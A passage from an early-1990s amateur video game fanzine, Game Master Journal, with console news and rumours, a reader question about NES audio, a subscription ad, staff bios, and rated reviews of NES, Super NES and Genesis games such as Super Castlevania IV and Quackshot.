flagship will be in stores +around June (right after the Summer CES in Chicago). With +more Sega news, the Mega Drive CD (the one we reported FIRST +here in Ace's Angles last year) will also be here this + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE 5±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +summer, but will not play the Mega Drive CD games from Asia +or Europe. According to another magazine, Sonic-CD will come +packaged with the system, which will cost about $200 - $250. + Word has it that Nintendo is working on a Super NES version +of Donkey Kong, only updated. Remember Donkey Kong? The +first video game I ever played (which me and my friends used +to call "DK" when it was the only good game available) my +little cousins play on their NES. I didn't even know they +made it an 8-bit game! Anyways, Nintendo is also planning to +release Super Mario 4 for the NES this winter. It will be +different from Super Mario World, and Yoshi doesn't make an +appearance. Too bad. Here's something you won't see in any +other mag for at least 6 months... Super Mario World 2 will +come spring '93! + The big winner this Christmas was Sega, selling Sonic with +their $150 Genesis, blowing away Nintendo and their Super +NES. To get more people interested in the S-NES, Nintendo +has lowered the price of it to $180, down 10% from $200 from +Christmas. People still say that the Super NES is too +expensive, but it comes with two controllers, the Genesis + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE 6±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +comes with one. You must but the other controller for $25, +bringing the total cost of a Genesis to $175. What's $5 for +Mode 7? + Warp Zone is coming very soon! It's will began Monday, +February 16, and come out every Monday or Tuesday (depending +on where you live). Warp Zone will be four pages, and will +cost only a quarter! It will have something Game Master +Journal has never had... pictures! You must see Warp Zone! +Ask your local store about it. + I'm almost done gang, but first... welcome back EMAX! + Also, I need some advice. There's this girl... never mind. + Finally, thanks much to the NQHS Drama Club. 5-3-1 and the +circle was "fun". NOT! + That's it, gang. See 'ya in the Spring! + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +± You NEED to see the printed Game Master Journal! ± +± See page 8! ± +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE 7±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + ÛÛÛÛÛAsk the Game MastersÛÛÛÛÛ + +This month we are taking a different approach to Ask the GMs, +this time we're answering general questions, not just games. + +NES in stereo? +Dear Game Master Journal, +I'm trying to connect my NES to my stereo, but it only comes +in one speaker. How can I double the signal? -Matt DiFicio, +Weymouth + +ACE: I'm not quite sure what you are looking for Matt. If +you want to double the signal, there are amplifiers that run +about $70 to $200 and more. You can get them at Radio Shack. +If you just want to split the signal, that is the same sounds +in both speakers, a "Y" splitter will do that for you. These +cost about $2.00, and you can also get them at Radio Shack. + + Have a question or a comment? Send E-Mail to Emax! See page 24! + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE 8±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + DON'T READ THIS!!!!! DON'T READ THIS!!!!! + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + The best video game fanzine just keeps on getting better! + And now, you can get it delivered to your home for only $6 for + 8 issues! (only 75 cents each issue!) This includes special + issues soon to come, such as... + INSUPERABLE SID ALL-COMIC + WARP ZONE + SUMMER DOUBLE ISSUE (32 pages!) + At least $12 worth of GMJ for only $6! Send your check to... + Game Master Journal + Subscriptions + 59 Germain Ave Suite 1 + Quincy, MA. 02169 + + Make checks payable to Game Master Journal. + We will not be responsible of any cash sent. + Prices and issue frequency may change. + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE 9±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + ÛÛÛÛÛGMJ Top PickÛÛÛÛÛ + +Batman Return of the Joker + + Batman returns in his second NES game with a major +graphical and gameplay face-lift in Sunsoft's first psuedo-16 +bit games. + What is the Dark Knight trying to do? As the title +implies, the Joker has returned. This time he has some +tough, new friends all of which are gunning to take Batman +out. These baddies are spread out through seven stages +leading to the Final Battle with the Joker. + Batman gets powered up in this second game with new +weapons, such as the Cross Bow, Battarang and a Shield-Star. +Batman also has other weapons availoable by holding down the +'A' button he can access more powerful shots. Certain +weapons work better than others; the Cross Bow is super +powerful, and the Batterang seeks and finds enemies. The +Caped One has learned new moves, including crouching and +looking up (and over his shoulder), and also has a new slide +attack. One drawback is that he lost the ability to climb +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE10±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +walls. + Throught the game are Batman-back packs. Collect eight, +and Batman goes Bat-zerk! He gets a Sonic Neutralizer and +Invincibility. The neutralizer blazes a path for Batman as +he busts his way through the level untoughed for about seven +seconds. + Fresh with new moves, higher-quality graphics and more +enemies, Batman 2 is enough for any gamer to go Batty! -ACE + +QUICKSHOTS + +ú The end boss in level 3-3 is easy to beat, just fire away +until he charges at you. Jump over him and shoot at his back. + +ú The first time you face Joker (level 6-3), he's flying above +you, throwing deadly bubbles at you. The easiest way to kill +him off is to slide to the right when he goes left, and vice- +versa. Eventually he stops in the center and gloats. Move +underneath him and fire away. When Joker starts to fly +around the bottom of the screen, slide into him to cause some + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE11±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +serious damage! + +ú The end of the game is easy to defeat. We won't tell you +how, but here's two hints. The cross bow inflicts much +damage, and weapons bounce off of walls - 'Nuff said! + +ACE: 16-bit graphics on the NES? I love it! For a large- +sprite game, the controls were extremely responsive. I +really responsive. I really thought the games BGM was great! +Sunsoft has given me a reason to keep my NES a bit longer... +Rating... 95 + +MR. X: The graphics are awesome! The sound is awesome! The +whole game is awesome! Except for the lack of challenge... +NOT! You'll pull your hair out trying to get to the end. +Once there its a breeze though. Rent this puppy and see what +the NES can really do! Rating... 90 + + + + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE12±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + ÛÛÛÛÛSuper NES ReviewsÛÛÛÛÛ + +Super Ghouls 'n Ghosts + + King Aurther must save Guinevere in a classic adventure +quest in Super Ghouls 'n Ghosts by Capcom USA. She has been +kidnapped by Sardius, the Emperor of Evil, and has been taken +to the Ghoul Realm and the Phantom Zone. You must save her! + In this eight-level action cart, you must engage the +Creatures of the Undead in a hack-and-slash fight to the +death. On your way through the stage, hidden treasure chests +may appear. In these chests may lie armor (which allows you +to be more powerful), or one of several weapons. You start +with a lance, but you can pick up more powerful weapons +including a crossbow, tri-blade, axe or torch. If Arthur +finds the Bronze or Golden Armor, these weapons get super +powered-up! + You start out in the Dead Place, but work your way up +through the Rotting Sea, Deep Chill, Hallway of Ghouls, and +then the Throne Room, where you finally meet Sardius in a +battle to save Guinevere. -MR. X +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE13±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +ACE: This game is not much different than the Genesis version +that came out two years ago, except that the BGM and sound +effects are AWESOME! It sounds like I have an orchestra in +my SNES. Check out this high quality cart, but be prepared +for the long haul, this one's tough. Rating... 85 + +SCOOP II: The game is OK, but monotonous... just run, slash, +run, slash... duh. The graphics are high quality, but the +hole game slows down to a crawl when too many things are on +the screen at once. This ruins the game. The "Parker Lewis +Can't Lose" fade-to-digital is a nice touch. Rating... 70 + + +Super Castlevania IV + + Get ready, castlevania fans, a new Castlevania is on the +way for your Super NES. This one features our hero, Simon +Belmont, on yet another quest to defeat Dracula and his +minions. + You play the role of Simon Belmont, and run through the + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE14±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +same kind of action as in other Castlevania games, but this +time you can swing across gaps (a la Indiana Jones) by +wrapping your whip around a ring, and you can also stand +still and whip your whip around in any direction. Another +thing you can do in this game that you can't do in other +games is face the challenge of a new variety of monsters. + Go Simon! -EDGE + +EDGE: Awesome game. Superb grafx. The best Castlevania game +around. Also the best sound on any Catlevania game. +Rating... 90 + +ACE: I think this game is awesome! The play control wasn't +too good, but every thing else was top-of-the-line! I really +enjoyed when the screen rotates 90 degrees (in a late level)! +My real problem is a NES series going to the S-NES. Bad +move. Rating... 90 + + + + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE15±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + +Super Bases Loaded + + Jaleco's first entry into the Super NES market is here, and +it's Super Bases Loaded. + The object is to pitch a perfect game ("no bonehead plays", +as the game states) against a "level 5" team. This system is +unlike other Bases Loaded games in that there is no league +set-up and no password system. + The perspective is just one of several changes made to this +cart. Home is now accessed by "UP", as opposed to "DOWN" on +most games. Also, you can head off of a base with out +stealing the next one. + Graphically speaking, SBL takes baseball games to where +they have never gone before. The game rotates around the +pitcher's mound between innings, and then shows the +scoreboard. + After the game is over, the SNES shows you your rating, on +a scale of 1 to 100. Do you have what it takes to pitch a +perfect game? -MR. X + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE16±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +ACE: The game is "just simply the best", except for the +switched perspective and the rating system. The actual game +is good, but the frills stink. I played against YOYOMAN and +we had a great time! Rating... 85 + +MR. X: This game is really a disappointment. Sequels should +only be made if there is an improvement. There was none in +Super Bases Loaded. The game's reversed view is terrible. +The game is just flawed beyond belief. Rating... 75 + + +Hole In One Golf + + The Super NES' first golf game grabs some attention with +interesting features and add-ons. Hal America's Hole In One +Golf features a tourney, practice, doubles and a password +system to keep your games going. + Of course, the game has 18 different holes, each with +different problems to face. Sometimes the hole is +surrounded by sand traps, others by water. + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE17±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + You can play by yourself or with a friend in Hole In One. +You can play "VS. Hal", and if you defeat him, he'll give you +a password to let you use his special clubs. The tournament +pits you against 64 other players in a "stroke play" contest. +Who ever has the least amount of strokes at the end wins! + A special feature in this cart is the 3-D mode. In between +shots, you can pause the game and look at the topography of +the area a la PGA Golf for the Genesis. Another is the +replay you can access if you sink an eagle, albatross or a +Hole-In-One. -ACE + +ACE: I enjoyed this game, but it wasn't worth the $60 price +tag. The fly-by views are fantastic! I liked the system +used to hit the ball, much better than that of PGA and Arnold +Palmer. Great game, but not one of my favorites. Rating... +85 + +MR. X: Wow! Big deal. I would not have played this game, but +I was through picking my teeth, so... this game stunk. The +real game is boring, the SNES is almost sleep-inducing! 40 + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE18±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +Final Fantasy II + + You are Cecil, Dark Knight of Baron, and you are out to +find why your king is stealing crystals from innocent +people. + In this game it is hard to distinguish friend from foe as +you battle from an ever-changing group of allies. You and +your allies go on the quest with an array of different +weapons and skills and magic spells. + When you walk around town, its a good idea to talk to +everyone and go in every door, because you can find new +information and items. + Nintendo's successful RPG series continues with Final +Fantasy II. -EDGE + +MR. X: I know RPG's, and I know that this game is incredible! +The graphics in this one set a new standard in S-NES games. +I didn't quite follow the plot, though. Rating... 85 + +EDGE: Dazzling graphics. Tremendous sound. This game has it +all! The best storyline I've ever seen. WOW! Rating... 90 + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE19±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + +Actraiser + + Have you ever wanted to rule the world? You get your +chance in Actraiser. + This is a CRPG in which you must develop lands, defeat +monsters, and make your people's lives better. Before you +can do that, you must go down to the planet and battle some +monsters. Defeat them all, and two people appear. You must +guide them to develop land and grow crops. Every now and +then they'll speak to you (give the gamer help), and ask that +you clear some neutral obstacles (such as flooding a desert). + While you develop lands, monsters keep coming the monster +tries to attack them to push them off, but more come. The +people must go to the lairs and seal them. + Eventually you'll clear the level. But you're not done +yet; there is another battle sequence to defeat before you +can go to the next cite. Defeat six cites and you have to +face an enemy boss as ugly as the Devil himself. + If you've head doesn't get too big from having the SNES +call you "master", good luck and have an Actraiser. -ACE + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE20±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +ACE: I have learned one thing; CRPGs are the best kind of +game out there! As I sit here typing away, I can't help but +thinking that the SES was calling me Master! Ha! The +graphics are great, and it sounds like an orchestra. +Rating... 90 + +MR. X: This game is pretty good, but I didn't like the RPG +aspects. The battle parts were not enough to carry this +game, but is still OK. Rent this one, the game's a piece of +cake. Rating... 70 + + + ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®® + ¯¯¯¯¯ In the April 15 edition of Game Master Journal: ®®®®® + ¯¯¯¯¯NES: Mega Man 4, Quattro Adventure, Quattro Sports, Home Alone®®®®® + ¯¯¯¯¯GENESIS: Winter Games, Toe Jam + Earl, Streets of Rage ®®®®® + ¯¯¯¯¯SUPER NES: Paperboy 2, Wonderers From Y's III, Super Off Road ®®®®® + ¯¯¯¯¯SPECIAL REPORT: Game Gear, one year later ®®®®® + ¯¯¯¯¯ALSO: Warp Zone, Ask the Game Masters, GMJ Top Ten, and more! ®®®®® + ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®® + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE21±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + + ÛÛÛÛÛ Û Û ÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + Û ÛÛ ÛÛ Û Û Û + Û ÛÛ Û Û Û Û Û TOP FIVE LIST Û + Û Û Û Û Û Û Û + ÛÛÛÛÛAME Û ÛASTER ÛÛÛÛOUNRAL ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + + NES GENESIS SUPER NES +1 Tecmo Super Bowl NHL Hockey Super Wrestlemania +2 Monopoly Streets of Rage Pilotwiings +3 Bart vs. the World Sonic the Hedgehog Super Baseball Simulator 1.000 +4 M.C. Kids John Madden '92 Home Alone +5 Battletoads Toe Jam + Earl Lemmings + + + + To give us your picks for the TOP 5, + send E-Mail to Emax! See page 24. + + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE22±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +Meet the Game Masters + +We here at GMJ have receive many letters concerning the +people behind the scenes, and the REAL names of our writers. +We can tell you their names (for fear of prosecution), but +here's the background on all of the Game Masters. + +Tony Shubert: President of Innovative Creations of New +England, editor of Game Master Journal. I go to North Quincy +High, and I am involved with volleyball, drama and the school +newspaper, "The North Star". I've been playing video games +since 1979. I puzzle games and combat RPG's (like Actraiser) + +Mort: Editor-in-chief of GMJ. He helped to put the Hubble +Telescope in space (no kidding!), and plays mostly IBM +computer games. He provides most of the technical support +needed for GMJ. + +G: Head writer. Is a Junior at BC High in Dorchester. +Enjoys basketball, baseball and other sports. Has been +playing video games since 1987. Enjoys sports games, +especially Electronic Arts' Genesis games. +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE23±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +ACE: One of the two original Game Masters. Not much is +known about ACE's background, except he has spent time in +Colorado, Florida, California and Washington. While in those +places he met various "stars" of video gaming, including +Howard Phillips. Was the regional finalist of the Nintendo +World Championships in Worchester in 1990 (he lost to Thor +Ackerlund, the eventual Grand Champion). + +Neil Bowman: Artist and writer of Insuperable Sid. Excellent +drummer who in his spare time draws Sid. + +THE WRITERS +Without these people, GMJ would not exist. + +MR. X: Junior at NQHS, also on the volleyball team. Owns +Defender (the arcade game, the real thing). +XMAN: Junior at NQHS. Enjoys wrestling and track. First +person to ever beat ACE in Ice Hockey for the NES. +YOYOMAN: G's brother. Freshman at Xervarian in Weymouth. +Loves tacos. +STEVE N.: Junior at NQHS also. Makes it a point to arrive to +school 30 minutes early every day. +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE24±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + +ET: Track master at North Quincy. Writes Game Boy reviews +for GMJ. +SHADES: One of our three new writers, goes to BC High. +Pretends he can play basketball. +VIPER: Genesis writer new to GMJ, coming from Quincy. +Finalist in GMJ Super Tourney 2. +EDGE: Our third new writer writes exclusively Super NES +reviews. Another Super Tourney 2 finalist. + + **************************************************************** + IF YOU WANT TO WRITE FOR GMJ, JUST SEND SOMETHING TO THE + ADDRESS ON PAGE 3. ALONG WITH YOUR ARTICLE, SEND YOUR + Name Address Phone Number + BBS' Handle (for E-Mail, and be sure you say what BBS!) + When we can call (we can't publish until we call you!) + OR..... E-Mail us! + Send E-Mail to EMAX on the following BBS': + Channel 1, Datanet Connection, Games Galaxy, and more to come! + Send E-Mail to EMAX THE GAME MASTER on: 19th Hole. + ***************************************************************** + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE25±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + ÛÛÛÛÛNintendo ReviewsÛÛÛÛÛ + +Bart vs. the World + + The Bart-Man. Barter-ino. The Bart-meister. Bartholemew +J. Simpson is travelling around the world in his second NES +game. He won an art contest (with a lousy drawing) on the +Krusty the Clown show. The contest was sponsored by the +Springfield Nuclear Power Plant, and was rigged so that Mr. +Burns, the owner of the plant, world be rid of the Simpsons. +The winner of the contest won a world-wide trip, which Burns +hoped Bart + Co. wouldn't return. + Your quest begins in China, where you must find a map, then +skateboard on the Great Wall of China, and then defeat one of +Burns' Chinese Cousins. Along the way you can find Lisa, and +if you do she'll help you at the end of the level. + After defeating Chu Man Burns, you must go to the North +Pole, Italy, and eventualy back to the USA. + Some of the power-ups the Bart-man can get are large +diamonds, which give a tree life, apples and other throwing +things, and Krusty symbols. Enough of them and Bart starts +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE26±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +to fly. If you need more of these, go to the bonus games +available, including concentration, a slot machine and a +shell game. -MR. X + + +MR. X: Great game! This game is paced just right... not too +fast or slow. The switch from the format in Bart vs. the +Space Mutants was unnecessary, but didn't ruin the game. The +play control was lousy at times, though and kept this game +from getting a 95. Rating... 85 + +STEVE N. Well, I give this game two thumbs up. In my +opinion, this game simply over-rules the last Bart Simpson +game. Because it challenged me to keep on playing even +after I've been defeated so many times. Enjoy the thrill of +becoming the Bart-man! So run and check this game out! +Rating... 90 + + + + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE27±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +Trog + + It's Bloop against the Trogs in Trog for the NES by +Acclaim. + You take on the role of Bloop, a little dino-mite dinosaur, +who must take his eggs back from the Trogs, who stole them +all, then he must get back to home, so the eggs area +protected. There is only one thing stopping you, TROGS! +These terrible, huge, and nasty dinosaurs stole the eggs from +Bloop and his clan. + Of course, Bloop must have some form of defense. Every now +and then, a Power Flower appears. If Bloop eats one of +these, look out! Bloop becomes a huge dinosaur, even larger +than the Trogs! Here's Bloop's chance to score points and +eat the bad guys. + An interesting feature is the ability to play doubles in +Trog. Bleep then comes and helps out Bloop. If either gets +power-ed up, they can eat each other! + + + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE28±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +ACE: This game is basically a rehash of Pac-Man. Duh. Come +on. This game is from the same company that made Double +Dragon and Bart Simpson! Please! The 2-player mode was a +nice touch, but not enough to save this doomed cart. +Rating... 50 + +SCOOP II: The game is not too good. In fact, it's a lousy +game. It's just a rehash of Pac-Man, 10 years later. +Couldn't Acclaim work on Double Dragon 4 instead? The only +reason I didn't give it a 30 is because of the two player +mode. Rating... 45 + + + +Fantastic Adventures of Dizzy + + Camerica's second Gold Series game is here and packs a +punch! The Fantastic Adventures of Dizzy features Dizzy, an +egg-sploring egg who must save Daisy from the evil Wizard +Zaks. Dizzy lives in the Kingdom of Zakeria, in a tree +house. From there your quest begins. + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE29±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + This game is non-linear, that is, you can go basically +anywhere. But you have to collect 100 stars sitting around +waiting for you, before you can enter the cloud castle in +which Zaks presides. You start off in the Yolkfolk's secret +village, and work your way to the mines. From there you can +go on to Keldor or to the Crystal Falls (you actually need to +go to both places). In order for you to go on past many +places, you must first get an item. For instance, you need a +plank to go over the pit of spikes. You can only carry three +items at a time, so don't carry dead weight. + Along the way you can find some of your friends, and +they'll help you along. Dozy, Dylan, Dora, Denzil and Grand +Dizzy are all there waiting for you. You can also find bonus +stages, one in which you must re-arrange a scroll after it's +scrambled. Do this and get a free Dizzy, and you'll need it. +You only get three lives and no continues. + The U.K.'s #1 video game hero comes to the States in this +Fantastic Adventure of Dizzy! + + + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE30±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +ACE: This game is great! When I first got it, it wasn't +compatible, so I moved the switch in the back of the game, +and BINGO! The graphics are cartoon-like, but don't let it +throw you off. This game's challenging, too hard in fact. A +battery back-up or a password screen would've been nice. +Other than that, YES! Rating... 95 + +MR. X: The game is pretty good, in that it's an adventure +game. As far as they go, this ones the best. I don't go for +these types of games that much, but, I enjoyed this game! +I think this game is the first one in 3 years that I haven't +beaten! WOW! Rating... 90 + +Treasure Master + + Scooter finds an old gold coin, tucks it under his pillow, +find out about "The Legend of the Treasure Master", and +undertakes a quest of his mind in Treasure Master. All of +this is nice, but that isn't what will make this game +memorable. The $10,000 cash you can win will do that! + Only Game Masters should play this game, because it is a + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE31±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +toughie! You get three men and no continues, so beating this +game is tough enough. But it gets even worse when you find +there are no warps, and you only get four hits per life. + There are five worlds, and then the prize world. The prize +world is accessed by a password (see below). You start in +the Islands, where you must find items that let you get other +items, and so on. All throughout the stage are sharks and +caterpillars, as well as dragonflies, and they are all after +you. To get to some things you need bombs, and the bombs are +endless. Once you leave the screen where the bomb machine +is, you can go back and get another! + After that you'll go on to the Moon, and eventually inside +your NES! World six is the Prize World. Finish the game, +call a 1-900 number, and win $10,000! Easy? Not! + +ACE: This game is one of the hardest games I've played for +the NES. Add that to the fact that you can win 10 thousand +bucks, and you have one tough challenge. The game's graphics +are nice, but with limited backgrounds. Buy this for the +fun, or just for the cash! Rating... 90 + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE32±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +MR. X: Money, money, money. Is life all about money? I +think that this contest is a joke. I'm not going to spend +$50 on the game and $5 on a phone call, only to find that I +didn't win. Great game, though it could've had more power- +ups. Rating... 85 + + ÛÛÛÛÛGenesis ReviewsÛÛÛÛÛ + +Mario Lemeux Hockey + + Once again Electronic Arts beats Sega in the sports game +department. I cannot help but compare this game to NHL +Hockey (perhaps one of the best games for the Genesis.) + This game has some features that would have made NHL a +better game, including stats. This game has an incredible +number of stats, including passes completed, number of goal +posts hit, and checks thrown, just to name a few, There are +a total of 14 pages of off the wall stats. (I think they +made up a few.) + Another great feature is an options screen which allows you +to fight against another opponent or take penalty shots +against the goalie. +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE33±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + But this game does have some faults. First it does not use +pro teams, and with the exception of Mario Lemeux there are +no pro players named. Also, you can't change the speed of +your shots. All of your shots are at the same rate of speed, +so you can not take a 90 mph slapshot as it claims in the +game write-up. It's difficult to score; rarely ever scoring +on anything other than a rebound off the goalie. -BAR + +BAR: Overall not a bad game, but still needs some +improvement. The graphics are only average. Not even the +title screen was good. Play control was busy. I preferred +the vertical view of NHL. Rating... 80 + +MR. X: Stats, stats, stats... is that all to hockey? Stats +such as "goal posts hit" and "passes completed" are just +plain silly. Although there were glimpses of a great game +(the face-offs and penalty shots were awesome!), the overall +picture wasn't pretty. Give me NHL. Rating... 75 + + + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE34±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +Quackshot starring Donald Duck + + Quackshot by Sega is an adventure starring Donald and Daisy +Duck. The story all starts when Donald was looking through +some books in the library. A piece of paper falls on +Donald's head, and it's from one of the books. It's a +treasure map from King Garuzia. He has hidden a treasure +somewhere on Earth. Donald thinks he could be rich if he +finds the treasure, so off he goes. One problem... Big Bad +Pete and his gang listens in, and give chase. + In his adventure Donald and his nephews must go to +Duckburg, Mexico and beyond. He lives in Duckburg, but now +it's full of thugs trying to get him. From there he goes to +Mexico. Here there are exploding cacti, bubbling quicksand +scorpions, buzzards and bees. From there he goes to a +Viking ghost ship, the South Pole and Egypt on his quest for +the treasure. + Some of the weapons Donald uses are Plungers, the popcorn +shooter and the bubble shooter. Plungers are used for +stunning the bad guys or for climbing walls. The popcorn + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE35±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +shooter can stop almost anything. The bubble shooter is used +for barricades and the like. + Help Donald find the treasure and check out Quackshot. - +VIPER + +VIPER: I highly recommend this game. I liked the graphics +especially. The storyline was OK. I liked some places and +especially liked the obstacles Donald went through. If you +like excellent graphic games like Castle of Illusion or +Fantasia I highly recommend Quackshot. Rating... 85 + +ACE: This game is no big deal. The graphics are much like +Castle of Illusion. The game can become methodical, run +shoot get something, run... it just gets boring. The game is +a toughie, so Game Masters should only apply. Rating... 75 + + + + + + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE36±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± + + ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + ÛÛÛÛÛ Football Party! ÛÛÛÛÛ + ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + +Joe Montana Football II: Sports Talk Football + + "Welcome to Joe Montana Sports Talk Football!" is the voice +message you hear as you power up the sequel to the best- +selling Joe Montana for your Genesis. Be prepared. + Sega decided to completely revamp JMF, and they came up +with this sequel. For instance, the view is horizontally +scrolling, not vertical. There are both artificial and +natural turfs, and play selection is different. But the two +most noticeable differences are the "zoom-in" mode and the +play-by-play announcer. + After the quarterback crosses the line of scrimmage, passes +or hands off the ball, the game "zoom"s to the action, making +everything two times as large and making everything more +realistic looking. + On every play you hear the Sports Talk announcer. He gives +both the play-by-play and the color commentary. His sayings +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE37±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +are not very repitious, either. Just don't expect too much +emotion from a machine. + The variety of plays and formations are outstanding. If +you include the passes, runs, and the "flips" of each (the +same play, only reversed) there are over 70! + If you've got what it takes, go for the season. Be top in +the division and you might make it to the Sega Bowl! + +ACE: The game is absolutely incredible! "Pay Day!" Like +most games, the fun part is playing with a friend. The zoom- +ins are awesome! How about Sports Talk Hockey? Rating... 90 + +MR. X: This game may be Game of the Year. High quality, and +the zoom is flawless. The passing system didn't have to be +messed with though. Enjoy! Rating... 95 + + + + + + + +±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±PAGE38±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± +John Madden Football '92 + + The sequel to Electronic Arts' best-seller is John Madden + +'92, and it's here to stay. + The game is similar to JMF '91. There is a playoff system, +the passing system is the same (three windows accessed with A +B or C) and there is a playoff system, similar to the one +used in NHL Hockey, another Electronic Arts hit. But there +is so much more in JMF '92. + One of the new features is the real NFL Teams and players' +numbers are used. The players act like they do in real life +(a la NHL). Don't try throwing the bomb with Hugh Millen or +trying to get by Bruce Smith. Another new feature is the +ability to choose the pitch (playing surface) and the weather +that you play in. There are tons of new stats displayed +during half-time, and you can even injure other players! + In Electronic Arts patented replay mode, you can see the +play over and over again, rewind, slo-mo and playback as your +options. Awesome! + If you haven't seen John Madden Football, do your Genesis +and yourself a favor and play this hot cart. -ACE 